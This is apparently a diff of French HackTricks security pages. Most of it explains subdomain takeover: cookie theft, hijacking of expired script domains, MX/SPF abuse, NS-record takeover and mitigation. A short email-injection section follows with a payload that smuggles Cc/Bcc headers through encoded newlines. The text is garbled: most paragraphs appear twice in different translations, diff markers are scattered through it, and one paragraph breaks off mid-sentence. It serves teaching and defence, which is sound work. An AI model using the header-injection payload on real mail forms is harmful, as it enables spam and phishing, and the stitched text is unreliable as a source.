Cela va de pair avec la transparence du navigateur mais a des conséquences différentes. Le navigateur web met en œuvre de nombreuses politiques de sécurité pour empêcher les sites web malveillants de causer des dommages. Cela inclut des choses telles que la [politique de même origine](https://en.wikipedia.org/wiki/Same-origin\_policy). L'une des principales responsabilités de sécurité d'un navigateur est de sécuriser les cookies enregistrés. Pourquoi ? Alors que HTTP est un protocole sans état, les cookies sont utilisés pour suivre les sessions. Pour plus de commodité, les utilisateurs enregistrent souvent des cookies pour une période prolongée pour éviter de se connecter à chaque fois. Ces cookies agissent donc comme un jeton de connexion qui est présenté au serveur web et l'utilisateur est identifié. Des attaques telles que le [_détournement de session_](https://en.wikipedia.org/wiki/Session\_hijacking) ont naturellement évolué à partir de ce concept.
|
||||
|
||||
Le navigateur présente automatiquement les cookies enregistrés à chaque requête au domaine qui les a émis. Il existe une exception à cela, telle que les cookies pourraient être partagés entre sous-domaines ([lire ici](https://tools.ietf.org/html/rfc6265#section-8.6), notez également la section 8.7). Cela se produit généralement lorsque le site web utilise un système de [Single sign-on](https://en.wikipedia.org/wiki/Single\_sign-on) (SSO) basé sur des cookies. En utilisant SSO, un utilisateur peut se connecter en utilisant un sous-domaine et partager le même jeton de session sur une large gamme de sous-domaines. La syntaxe pour définir un cookie régulier est la suivante :
|
||||
```
|
||||
HTTP/1.1 200 OK
|
||||
Set-Cookie: name=value
|
||||
```
|
||||
Si ce cookie est émis par un serveur web résidant sur _example.com_, seul ce serveur peut y accéder ultérieurement. Cependant, le cookie peut être émis pour un domaine générique (pour les raisons expliquées ci-dessus) de la manière suivante :
|
||||
Si ce cookie est émis par un serveur web résidant sur _example.com_, seul ce serveur peut accéder à ce cookie ultérieurement. Cependant, le cookie peut être émis pour un domaine générique (pour les raisons expliquées ci-dessus) de la manière suivante :
|
||||
```
|
||||
HTTP/1.1 200 OK
|
||||
Set-Cookie: name=value; domain=example.com
|
||||
```
|
||||
Le cookie sera inclus dans les requêtes HTTP vers _example.com_, mais aussi vers tout autre sous-domaine tel que _subdomain.example.com_. Ce comportement crée une possibilité d'attaques de gravité élevée en utilisant la prise en charge de sous-domaine. Supposons qu'un domaine particulier utilise des cookies de session pour un domaine générique. S'il existe un sous-domaine vulnérable à la prise en charge de sous-domaine, la seule chose à faire pour collecter le jeton de session de l'utilisateur est de le tromper en visitant le sous-domaine vulnérable. Le cookie de session est automatiquement envoyé avec la requête HTTP.
|
||||
```markdown
|
||||
Le cookie sera inclus dans les requêtes HTTP vers _example.com_ mais aussi vers tout autre sous-domaine tel que _subdomain.example.com_. Ce comportement crée une possibilité d'attaques de haute gravité utilisant la prise de contrôle de sous-domaine. Supposons qu'un domaine particulier utilise des cookies de session pour un domaine générique. S'il y a un sous-domaine vulnérable à la prise de contrôle de sous-domaine, la seule chose nécessaire pour recueillir le jeton de session de l'utilisateur est de le tromper pour qu'il visite le sous-domaine vulnérable. Le cookie de session est automatiquement envoyé avec la requête HTTP.
|
||||
|
||||
Le navigateur met également en œuvre des mécanismes de sécurité supplémentaires pour les cookies :
|
||||
Le navigateur implémente également des mécanismes de sécurité supplémentaires pour les cookies :
|
||||
|
||||
* **Cookie HttpOnly** - Les cookies peuvent par défaut être accessibles par le code JavaScript s'exécutant dans le contexte du site Web qui a créé les cookies. JavaScript peut lire, mettre à jour et supprimer les cookies. Le drapeau de cookie _HttpOnly_ (défini par le serveur Web) indique que le cookie particulier ne peut pas être accédé par le code JavaScript. La seule façon de l'obtenir est par le biais des en-têtes de requête et de réponse HTTP.
|
||||
* **Cookie sécurisé** - Lorsque le cookie a le drapeau _Secure_ défini par le serveur Web, il ne peut être communiqué au serveur Web que si HTTPS est utilisé.
|
||||
* **HttpOnly cookie** — Par défaut, les cookies peuvent être accédés par le code Javascript exécuté dans le contexte du site web qui a créé les cookies. Javascript peut lire, mettre à jour et supprimer les cookies. Le drapeau de cookie _HttpOnly_ (défini par le serveur web) indique que le cookie particulier ne peut pas être accédé par le code Javascript. La seule façon de l'obtenir est à travers les en-têtes de requête et de réponse HTTP.
|
||||
* **Secure cookie** — Lorsque le cookie a le drapeau _Secure_ défini par le serveur web, il ne peut être communiqué au serveur web que si HTTPS est utilisé.
|
||||
|
||||
Si le domaine est vulnérable à la prise en charge de sous-domaine, un attaquant peut collecter les cookies émis par ce domaine dans le passé en trompant les utilisateurs pour qu'ils visitent ce site Web. Les drapeaux HttpOnly et Secure ne sont pas utiles car le cookie n'est pas accédé à l'aide de JavaScript et un certificat SSL peut être facilement généré pour le domaine pris.
|
||||
Si le domaine est vulnérable à la prise de contrôle de sous-domaine, un attaquant peut recueillir des cookies émis par ce domaine dans le passé simplement en trompant les utilisateurs pour qu'ils visitent ce site web. Les drapeaux HttpOnly et Secure n'aident pas puisque le cookie n'est pas accédé en utilisant Javascript et un certificat SSL peut être facilement généré pour le domaine pris.
|
||||
|
||||
Le vol de cookies en utilisant la prise en charge a été expliqué dans un rapport de prime de bug [rapport](https://hackerone.com/reports/172137) par Arne Swinnen. Le rapport explique le problème avec l'un des sous-domaines de _Ubiquiti Networks_ (_ping.ubnt.com_). Ce sous-domaine était vulnérable à la prise en charge de sous-domaine, pointant vers une distribution AWS CloudFront non réclamée. Étant donné qu'Ubiquiti Networks utilise SSO avec des cookies de session génériques, tous les utilisateurs visitant _ping.ubnt.com_ pouvaient voir leurs cookies de session volés. Même si ce domaine pointe vers AWS CloudFront, les paramètres de distribution de CloudFront permettent de journaliser les cookies avec chaque requête. Par conséquent, le scénario d'extraction des cookies de session est tout à fait possible même avec des sous-domaines pointant vers AWS CloudFront. En 2017, Arne a également démontré une attaque similaire contre le système SSO d'[Uber](https://www.arneswinnen.net/2017/06/authentication-bypass-on-ubers-sso-via-subdomain-takeover/).
|
||||
Le vol de cookies utilisant la prise de contrôle a été expliqué dans le [rapport](https://hackerone.com/reports/172137) de bug bounty par Arne Swinnen. Le rapport explique le problème avec l'un des sous-domaines de _Ubiquiti Networks_ (_ping.ubnt.com_). Ce sous-domaine était vulnérable à la prise de contrôle de sous-domaine, pointant vers une distribution AWS CloudFront non réclamée. Puisque Ubiquiti Networks utilise SSO avec des cookies de session génériques, tous les utilisateurs visitant _ping.ubnt.com_ pourraient se faire voler leurs cookies de session. Même si ce domaine pointe vers AWS CloudFront, les paramètres de distribution CloudFront permettent de consigner les cookies avec chaque requête. Par conséquent, le scénario d'extraction de cookies de session est entièrement possible même avec des sous-domaines pointant vers AWS CloudFront. En 2017, Arne a également démontré un vecteur d'attaque similaire contre [le système SSO d'Uber](https://www.arneswinnen.net/2017/06/authentication-bypass-on-ubers-sso-via-subdomain-takeover/).
|
||||
|
||||
Le comportement expliqué ci-dessus ne se limite pas aux cookies. Étant donné que les scripts JavaScript ont un contrôle total sur les sites Web sur lesquels ils s'exécutent, la possibilité de remplacer de tels scripts sur le site légitime peut entraîner des conséquences catastrophiques. Supposons que le site Web utilise du code JavaScript provenant d'un fournisseur externe à l'aide de la balise _script_ et de l'attribut _src_. Lorsque le domaine du fournisseur externe expire, le navigateur échoue silencieusement, c'est-à-dire qu'il ne déclenche aucune alerte visible pour les utilisateurs réguliers. Si le code externe n'effectue aucune tâche importante (par exemple, il est utilisé uniquement pour le suivi), ce fournisseur externe peut rester sur le site pendant une période prolongée. Un attaquant peut prendre le contrôle de ce domaine expiré, faire correspondre le chemin d'URL du code JavaScript fourni et ainsi prendre le contrôle de chaque visiteur qui visite le site d'origine.
|
||||
Le comportement expliqué ci-dessus n'est pas limité aux cookies. Puisque les scripts Javascript ont un contrôle total sur les sites web sur lesquels ils sont exécutés, avoir la capacité de remplacer de tels scripts sur le site web légitime pourrait conduire à des conséquences catastrophiques. Supposons que le site web utilise du code Javascript d'un fournisseur externe en utilisant la balise _script_ et l'attribut _src_. Lorsque le domaine du fournisseur externe expire, le navigateur échoue silencieusement, c'est-à-dire qu'il ne déclenche aucune alerte visible pour les utilisateurs réguliers. Si le code externe ne fait rien d'important (par exemple, il est utilisé uniquement pour le suivi), un tel fournisseur externe pourrait rester sur le site web pendant une période prolongée. Un attaquant peut prendre le contrôle de ce domaine expiré, correspondre au chemin URL du code Javascript fourni et ainsi prendre le contrôle de chaque visiteur qui visite le site web original.
|
||||
|
||||
Cependant, il existe un moyen de protéger l'intégrité des fichiers JavaScript dans un navigateur. _Subresource Integrity_ [a été proposé](https://www.w3.org/TR/2016/REC-SRI-20160623/) comme un mécanisme pour inclure une empreinte cryptographique en tant qu'attribut _integrity_ dans la balise _script_ en HTML5. Lorsque l'empreinte cryptographique fournie ne correspond pas au fichier téléchargé, le navigateur refuse de l'exécuter.
|
||||
Cependant, il existe un moyen de protéger l'intégrité des fichiers Javascript dans un navigateur. _Subresource Integrity_ [a été proposé](https://www.w3.org/TR/2016/REC-SRI-20160623/) comme mécanisme pour inclure une empreinte cryptographique en tant qu'attribut _integrity_ à la balise _script_ dans HTML5. Lorsque l'empreinte cryptographique fournie ne correspond pas au fichier téléchargé, le navigateur refuse de l'exécuter.
|
||||
|
||||
### E-mails <a href="#emails" id="emails"></a>
|
||||
|
||||
Lorsqu'une prise en charge de sous-domaine CNAME est possible, les enregistrements MX peuvent également être configurés par un attaquant vers un serveur Web arbitraire. Cela permet de recevoir des e-mails sur un sous-domaine légitime d'une marque, ce qui est particulièrement utile dans les attaques de phishing (ciblées) où une interaction entre un attaquant et une victime est nécessaire. Les attaquants falsifient généralement l'en-tête `Return-Path` pour recevoir une réponse à l'e-mail. Avec les enregistrements MX corrects, ce problème est contourné.
|
||||
Lorsqu'une prise de contrôle de sous-domaine CNAME est possible, les enregistrements MX peuvent également être configurés par un attaquant vers un serveur web arbitraire. Cela permet de recevoir des e-mails vers un sous-domaine légitime d'une marque - particulièrement utile encore une fois dans les attaques de (spear) phishing où une interaction entre un attaquant et une victime est nécessaire. Les attaquants usurpent généralement l'en-tête `Return-Path` pour recevoir une réponse à l'e-mail. Avec les bons enregistrements MX, ce problème est contourné.
|
||||
|
||||
D'autre part, l'envoi d'e-mails est également possible. Bien qu'il soit trivial de falsifier l'en-tête `From` pour inclure n'importe quelle adresse e-mail, les filtres SPF vérifient généralement l'en-tête `Return-Path` et les hôtes autorisés à envoyer des e-mails pour le domaine. SPF stocke la configuration dans les enregistrements DNS TXT. Avec la prise en charge de sous-domaine, les enregistrements TXT sont également contrôlés par l'attaquant - les vérifications SPF peuvent être facilement contournées.
|
||||
D'autre part, l'envoi d'e-mails est également possible. Bien qu'il soit trivial de falsifier l'en-tête `From` pour inclure n'importe quelle adresse e-mail, les filtres SPF vérifient généralement l'en-tête `Return-Path` et les hôtes autorisés à envoyer des mails pour le domaine. SPF stocke la configuration dans les enregistrements DNS TXT. Avec la prise de contrôle de sous-domaine, les enregistrements TXT sont également sous le contrôle de l'attaquant - les vérifications SPF peuvent être facilement contournées.
|
||||
|
||||
_Comme je l'ai noté au début, ces tactiques ne fonctionnent généralement pas avec la majorité des fournisseurs de cloud car vous n'avez pas un contrôle direct sur la zone DNS._
|
||||
_Comme je l'ai noté au début, ces tactiques ne fonctionnent généralement pas avec la majorité des fournisseurs de cloud puisque vous n'avez pas le contrôle direct sur la zone DNS._
|
||||
|
||||
### Risques d'ordre supérieur <a href="#higherorderrisks" id="higherorderrisks"></a>
|
||||
### Risques de Haut Niveau <a href="#higherorderrisks" id="higherorderrisks"></a>
|
||||
|
||||
Le concept de prise en charge de sous-domaine peut être naturellement étendu aux enregistrements NS : si le domaine de base d'au moins un enregistrement NS est disponible à l'enregistrement, le nom de domaine source est vulnérable à la prise en charge de sous-domaine.
|
||||
Le concept de prise de contrôle de sous-domaine peut être naturellement étendu aux enregistrements NS : Si le domaine de base d'au moins un enregistrement NS est disponible à l'enregistrement, le nom de domaine source est vulnérable à la prise de contrôle de sous-domaine.
|
||||
|
||||
L'un des problèmes de la prise en charge de sous-domaine en utilisant l'enregistrement NS est que le nom de domaine source a généralement plusieurs enregistrements NS. Plusieurs enregistrements NS sont utilisés pour la redondance et l'équilibrage de charge. Le serveur de noms est choisi au hasard avant la résolution DNS. Supposons que le domaine _sub.example.com_ ait deux enregistrements NS : _ns.vulnerable.com_ et _ns.nonvulnerable.com_. Si un attaquant prend le contrôle du _ns.vulnerable.com_, la situation du point de vue de l'utilisateur qui interroge _sub.example.com_ est la suivante :
|
||||
L'un des problèmes de la prise de contrôle de sous-domaine utilisant un enregistrement NS est que le nom de domaine source a généralement plusieurs enregistrements NS. Plusieurs enregistrements NS sont utilisés pour la redondance et l'équilibrage de charge. Le serveur de noms est choisi aléatoirement avant la résolution DNS. Supposons que le domaine _sub.example.com_ ait deux enregistrements NS : _ns.vulnerable.com_ et _ns.nonvulnerable.com_. Si un attaquant prend le contrôle de _ns.vulnerable.com_, la situation du point de vue de l'utilisateur qui interroge _sub.example.com_ se présente comme suit :
|
||||
|
||||
1. Étant donné qu'il y a deux serveurs de noms, l'un est choisi au hasard. Cela signifie que la probabilité d'interroger un serveur de noms contrôlé par un attaquant est de 50 %.
|
||||
2. Si le résolveur DNS de l'utilisateur choisit _ns.nonvulnerable.com_ (serveur de noms légitime), le résultat correct est renvoyé et est susceptible d'être mis en cache quelque part entre 6 et 24 heures.
|
||||
3. Si le résolveur DNS de l'utilisateur choisit _ns.vulnerable.com_ (serveur de noms détenu par un attaquant), un attaquant peut fournir un faux résultat qui sera également mis en cache. Étant donné qu'un attaquant contrôle le serveur de noms, elle peut définir le TTL pour ce résultat particulier, par exemple une semaine.
|
||||
1. Puisqu'il y a deux serveurs de noms, l'un est choisi aléatoirement. Cela signifie que la probabilité d'interroger le serveur de noms contrôlé par un attaquant est de 50%.
|
||||
2. Si le résolveur DNS de l'utilisateur choisit _ns.nonvulnerable.com_ (serveur de noms légitime), le résultat correct est retourné et probablement mis en cache quelque part entre 6 et 24 heures.
|
||||
3. Si le résolveur DNS de l'utilisateur choisit _ns.vulnerable.com_ (serveur de noms possédé par un attaquant), un attaquant pourrait fournir un faux résultat qui sera également mis en cache. Puisque l'attaquant contrôle le serveur de noms, elle peut définir le TTL pour ce résultat particulier à être par exemple d'une semaine.
|
||||
|
||||
Le processus ci-dessus est répété chaque fois que l'entrée du cache expire. Lorsqu'un attaquant choisit d'utiliser un TTL avec une valeur élevée, le faux résultat restera dans le cache DNS pendant cette période. Pendant ce temps, toutes les requêtes vers _sub.example.com_ utiliseront le faux résultat DNS mis en cache par un attaquant. Cette idée est encore amplifiée lorsque des résolveurs DNS publics (par exemple, Google DNS) sont utilisés. Dans ce cas, les résolveurs publics sont susceptibles de mettre en cache les faux résultats, ce qui signifie que tous les utilisateurs utilisant le même résolveur DNS obtiendront de faux résultats jusqu'à ce que le cache soit révoqué.
|
||||
Le processus ci-dessus est répété chaque fois que l'entrée de cache expire. Lorsqu'un attaquant choisit d'utiliser un TTL avec une valeur élevée, le faux résultat restera dans le cache DNS pour cette période. Pendant ce temps, toutes les requêtes vers _sub.example.com_ utiliseront le faux résultat DNS mis en cache par un attaquant. Cette idée est encore amplifiée lorsque des résolveurs DNS publics (par exemple, Google DNS) sont utilisés. Dans ce cas, les résolveurs publics sont susceptibles de mettre en cache les faux résultats, ce qui signifie que tous les utilisateurs utilisant le même résolveur DNS obtiendront des faux résultats jusqu'à ce que le cache soit révoqué.
|
||||
|
||||
En plus du contrôle sur le nom de domaine source, le contrôle sur tous les domaines de niveau supérieur du nom de domaine source est également acquis. Cela est dû au fait que posséder un nom de domaine canonique de l'enregistrement NS signifie posséder la zone DNS complète du nom de domaine source.
|
||||
En plus du contrôle sur le nom de domaine source, le contrôle sur tous les domaines de niveau supérieur du nom de domaine source est également acquis. C'est parce que posséder un nom de domaine canonique d'un enregistrement NS signifie posséder la zone DNS complète du nom de domaine source.
|
||||
|
||||
En 2016, Matthew Bryant [a démontré](https://thehackerblog.com/the-international-incident-gaining-control-of-a-int-domain-name-with-dns-trickery/index.html) une prise de contrôle de sous-domaine utilisant un enregistrement NS sur _maris.int_. Le domaine de premier niveau .INT est un TLD spécial, et seulement une poignée de domaines l'utilisent. Bryant a montré que même si l'enregistrement de tels noms de domaine est approuvé exclusivement par l'IANA, les serveurs de noms peuvent être définis vers des domaines arbitraires. Puisque l'un des serveurs de noms de _maris.int_ était disponible à l'enregistrement (_cobalt.aliis.be_), la prise de contrôle de sous-domaine était possible même sur ce TLD restreint.
|
||||
|
||||
Matthew a également [démontré](https://thehackerblog.com/the-io-error-taking-control-of-all-io-domains-with-a-targeted-registration/index.html) une attaque de gravité encore plus élevée où il a pu prendre le contrôle du serveur de noms du domaine de premier niveau .IO. Contrôler .IO signifie contrôler les réponses pour tous les noms de domaine .IO. Dans ce cas, l'un des serveurs de noms de .IO était _ns-a1.io_ qui était disponible à l'enregistrement. En enregistrant _ns-a1.io_, Bryant a pu recevoir des requêtes DNS et contrôler leurs réponses pour tous les domaines .IO.
|
||||
|
||||
En 2016, Matthew Bryant a [démontré](https://thehackerblog.com/the-international-incident-gaining-control-of-a-int-domain-name-with-dns-trickery/index.html) une prise en charge de sous-domaine en utilisant l'enregistrement NS sur _maris.int_. Le domaine de premier niveau .INT est un TLD spécial, et seuls quelques domaines l'utilisent. Bryant a montré que même si l'enregistrement de tels noms de domaine est approuvé exclusivement par l'IANA, les serveurs de noms peuvent être définis sur des domaines arbitraires. Étant donné que l'un des serveurs de noms de _maris.int_ était disponible à l'enregistrement (_cobalt.aliis.be_), la prise en charge de sous-domaine était possible
|
||||
### Atténuation <a href="#mitigation" id="mitigation"></a>
|
||||
|
||||
Les stratégies d'atténuation pour les noms de domaine déjà vulnérables à une prise en charge de sous-domaine sont assez simples :
|
||||
Les stratégies d'atténuation pour les noms de domaine déjà vulnérables à la prise de contrôle de sous-domaine sont plutôt simples :
|
||||
|
||||
* **Supprimer l'enregistrement DNS affecté** - La solution la plus simple consiste à supprimer l'enregistrement affecté de la zone DNS. Cette étape est généralement utilisée si l'organisation conclut que le nom de domaine source affecté n'est plus nécessaire.
|
||||
* **Revendiquer le nom de domaine** - Cela signifie enregistrer la ressource auprès d'un fournisseur de cloud spécifique ou, dans le cas d'un domaine Internet régulier, racheter le domaine expiré.
|
||||
* **Supprimer l'enregistrement DNS affecté** — La solution la plus simple est de supprimer l'enregistrement affecté de la zone DNS. Cette étape est généralement utilisée si l'organisation conclut que le nom de domaine source affecté n'est plus nécessaire.
|
||||
* **Réclamer le nom de domaine** — Cela signifie enregistrer la ressource chez le fournisseur de cloud particulier ou, dans le cas d'un domaine Internet régulier, racheter le domaine expiré.
|
||||
|
||||
Pour éviter une prise en charge de sous-domaine à l'avenir, les organisations doivent modifier le processus de création et de destruction des ressources de leur infrastructure. En cas de création de ressources, la création de l'enregistrement DNS doit être la _dernière étape_ de ce processus. Cette condition empêche l'enregistrement DNS de pointer vers un domaine inexistant à un moment donné. Pour la destruction des ressources, l'inverse est vrai : l'enregistrement DNS doit être supprimé en tant que _première étape_ de ce processus. Des outils tels que [aquatone](https://github.com/michenriksen/aquatone) incluent des vérifications de prise en charge de sous-domaine. Les vérifications doivent être effectuées périodiquement par une équipe de sécurité d'une organisation pour vérifier l'absence de domaines vulnérables. Les processus de collecte centralisée des noms de domaine exposés ne sont souvent pas efficaces au sein des organisations (en raison des équipes mondiales, etc.) et la surveillance externe est généralement la meilleure solution.
|
||||
Pour prévenir la prise de contrôle de sous-domaine à l'avenir, les organisations devraient changer le processus de création et de destruction des ressources dans leur infrastructure. Dans le cas de la création de ressource, la création de l'enregistrement DNS doit être la _dernière étape_ de ce processus. Cette condition empêche l'enregistrement DNS de pointer vers un domaine non existant à tout moment. Pour la destruction de la ressource, l'opposé est vrai : l'enregistrement DNS doit être supprimé comme la _première étape_ de ce processus. Des outils tels que [aquatone](https://github.com/michenriksen/aquatone) incluent des vérifications pour la prise de contrôle de sous-domaine. Les vérifications devraient être effectuées périodiquement par une équipe de sécurité d'une organisation pour vérifier qu'il n'y a pas de domaines vulnérables. Les processus de collecte centralisée des noms de domaine exposés ne sont souvent pas efficaces au sein des organisations (en raison des équipes mondiales, etc.) et la surveillance externe est généralement la meilleure solution.
|
||||
|
||||
La stratégie d'atténuation pour les fournisseurs de cloud doit également être prise en compte. Les services cloud ne vérifient pas la propriété du domaine. La raison en est principalement la commodité. Le fournisseur de cloud n'introduit aucune vulnérabilité en ne vérifiant pas la propriété d'un nom de domaine source. Il incombe donc à l'utilisateur de surveiller ses enregistrements DNS. Une autre raison est que lorsque la ressource cloud est supprimée, l'utilisateur n'est généralement plus client de ce service. Les fournisseurs de cloud se posent alors la question : pourquoi devrions-nous nous en soucier ?
|
||||
La stratégie d'atténuation pour les fournisseurs de cloud devrait également être considérée. Les services cloud ne vérifient pas la propriété du domaine. La raison derrière cela est principalement la commodité. Le fournisseur de cloud n'introduit pas de vulnérabilité en ne vérifiant pas la propriété d'un nom de domaine source. Il appartient donc à l'utilisateur de surveiller ses enregistrements DNS. Une autre raison est que, lorsque la ressource cloud est supprimée, l'utilisateur n'est généralement plus un client de ce service. La question que se posent alors les fournisseurs de cloud est : Pourquoi devrions-nous même nous en soucier ?
|
||||
|
||||
Des fournisseurs tels que [GitLab](https://about.gitlab.com/2018/02/05/gitlab-pages-custom-domain-validation/) ont réalisé que la prise en charge de sous-domaine est un problème et ont mis en place un mécanisme de vérification de domaine.
|
||||
Des fournisseurs tels que [GitLab](https://about.gitlab.com/2018/02/05/gitlab-pages-custom-domain-validation/) ont réalisé que la prise de contrôle de sous-domaine est un problème et ont mis en place un mécanisme de vérification de domaine.
|
||||
|
||||
_Certaines parties de cet article sont extraites de ma_ [_thèse de maîtrise_](https://is.muni.cz/th/byrdn/Thesis.pdf).
|
||||
_Certaines parties de ce post sont des extraits de ma_ [_Thèse de Master_](https://is.muni.cz/th/byrdn/Thesis.pdf).
|
||||
|
||||
À la prochaine !
|
||||
|
||||
[Patrik](https://twitter.com/0xpatrik)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour créer et automatiser facilement des flux de travail alimentés par les outils communautaires les plus avancés au monde.\
|
||||
Accédez dès aujourd'hui :
|
||||
Utilisez [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&ut_medium=banner&utm_source=hacktricks) pour construire et **automatiser des workflows** alimentés par les outils communautaires **les plus avancés** au monde.\
|
||||
Obtenez l'accès aujourd'hui :
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Vous travaillez dans une **entreprise de cybersécurité** ? Vous souhaitez voir votre **entreprise annoncée dans HackTricks** ? ou souhaitez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF** Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PR aux repos github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
```
|
||||
|
|
|
@ -1,101 +1,52 @@
|
|||
# Injections d'e-mails
|
||||
# Injections d'Emails
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour créer facilement et **automatiser des flux de travail** alimentés par les outils communautaires les plus avancés au monde.\
|
||||
Accédez dès aujourd'hui :
|
||||
\
|
||||
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire et **automatiser des workflows** grâce aux outils communautaires **les plus avancés**.\
|
||||
Obtenez l'accès aujourd'hui :
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? Ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-moi** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## Injecter dans l'e-mail envoyé
|
||||
## Injecter dans un e-mail envoyé
|
||||
|
||||
### Injecter Cc et Bcc après l'argument de l'expéditeur
|
||||
```
|
||||
From:sender@domain.com%0ACc:recipient@domain.co,%0ABcc:recipient1@domain.com
|
||||
```
|
||||
### Injecter un argument
|
||||
Le message sera envoyé aux comptes destinataire et destinataire1.
|
||||
|
||||
